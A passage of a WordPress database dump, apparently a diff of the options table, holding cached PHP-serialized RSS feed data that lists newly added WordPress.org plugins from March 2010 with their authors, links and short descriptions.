";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 21 Feb 2010 17:33:29 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Perurry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:8:{s:4:"date";s:29:"Fri, 12 Mar 2010 08:48:57 GMT";s:6:"server";s:9:"LiteSpeed";s:13:"accept-ranges";s:5:"bytes";s:10:"connection";s:5:"close";s:4:"etag";s:24:""2af5d-4b99ff19-174423c"";s:13:"last-modified";s:29:"Fri, 12 Mar 2010 08:45:13 GMT";s:12:"content-type";s:15:"application/xml";s:14:"content-length";s:6:"175965";}s:5:"build";s:14:"20090627192103";}', 'no'), +(134, 0, '_transient_timeout_feed_mod_867bd5c64f85878d03a060509cd2f92c', '1268427262', 'no'), +(135, 0, '_transient_feed_mod_867bd5c64f85878d03a060509cd2f92c', '1268384062', 'no'), +(136, 0, '_transient_timeout_feed_57bc725ad6568758915363af670fd8bc', '1268427262', 'no'), +(137, 0, '_transient_feed_57bc725ad6568758915363af670fd8bc', 'a:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:"\n\n\n";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:23:"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:6:"Newest";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:36:"http://wordpress.org/extend/plugins/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:6:"Newest";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:2:"en";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 12 Mar 2010 08:48:58 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:15:{i:0;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"frankkugler on "Reposter Reloaded"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/extend/plugins/reposter-reloaded/#post-16559";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 11:22:26 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16559@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:69:"Reposter Reloaded recycles your posts on a schedule of your choosing.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"frankkugler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:32:"filosofo on "Custom Image Sizes"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/extend/plugins/custom-image-sizes/#post-16548";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 20:16:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16548@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:87:"Custom Image Sizes lets you specify exactly the size in which to display an attachment.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"filosofo";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:26:"NiftyGaloot on "ShowIKRSS"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/extend/plugins/showikrss/#post-16543";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 17:16:19 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16543@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:50:"ShowIKRSS uses RSS to display Imagekind Galleries.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"NiftyGaloot";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:22:"bwskyer on "WPG-Lucky"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/extend/plugins/wpg-lucky/#post-16563";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 15:50:33 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16563@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:49:"Random jump to any one wpg.im bbs members''s blog.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"bwskyer";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"francescolaffi on "BuddyPress Album+"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"http://wordpress.org/extend/plugins/bp-album/#post-16558";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 11:13:35 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16558@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:135:"This plugin let community members upload pics choosing privacy options and admin to choose limits pictures count. Easy to mod template.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"francescolaffi";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"jfarthing84 on "BP Profile Privacy"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/extend/plugins/bp-profile-privacy/#post-16566";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 18:01:15 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16566@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:150:"Allows "permissions" to be set for xprofile fields. Permissions set by site admin include "Everyone", "Friends", "User", "Let User Decide". If "Let us";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"jfarthing84";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:16:"Xnuiem on "SVNX"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:52:"http://wordpress.org/extend/plugins/svnx/#post-16203";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 25 Feb 2010 02:41:27 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16203@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:104:"A plugin to show the contents of Subversion Repositories within your WP website. Uses websvn as a base.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:6:"Xnuiem";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"tech163 on "WordPress Tweeter"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/extend/plugins/wordpress-tweeter/#post-16494";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 09 Mar 2010 02:40:40 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16494@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:133:"WordPress Tweeter tweets every time you make a new post on your blog. Make sure you read the documentations before using this plugin.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"tech163";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:30:"frenchsquared on "RSS-to-Post"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"http://wordpress.org/extend/plugins/rss-2-post/#post-16542";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 17:01:28 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16542@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:150:"RSS-to-Post adds an RSS feed to each of your posts. This plugin allows the user to add an rss feed to the bottom of each post. There is a global setti";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"frenchsquared";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:22:"meuhsli on "SEO QUERY"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/extend/plugins/seo-query/#post-16522";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 11:13:42 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16522@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:109:"SEO QUERY display on your posts the search engine query that your visitors have typed to get to your website.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"meuhsli";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:33:"marcinrosinski on "Buzzzy Button"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"http://wordpress.org/extend/plugins/buzzzy-button/#post-16541";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 16:48:26 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16541@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:118:"The ultimate share button for Google Buzz from Buzzzy.com, the most popular third party search engine for Google Buzz.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"marcinrosinski";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:32:"wilecoyote on "Quote Of The day"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:55:"http://wordpress.org/extend/plugins/cd-qotd/#post-16561";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 15:02:46 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16561@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:97:"Current Version: 1.0.0\n\nManage simple quote-of-the-day messages within your WordPress/MU blog(s).";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"wilecoyote";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:22:"lgladdy on "hukdpress"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:57:"http://wordpress.org/extend/plugins/hukdpress/#post-16547";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 20:12:08 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16547@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:133:"Automagical display of deals from hotukdeals.com on your post or page. Requires a free API key available from hotukdeals.com/rest-api";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"lgladdy";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:38:"mitchoyoshitaka on "Taxonomy Metadata"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/extend/plugins/taxonomy-metadata/#post-16552";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 04:30:58 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16552@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:88:"Implements metadata functionality for taxonomy terms, including for tags and categories.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:15:"mitchoyoshitaka";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:14;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:40:"mitchoyoshitaka on "Allow LaTeX 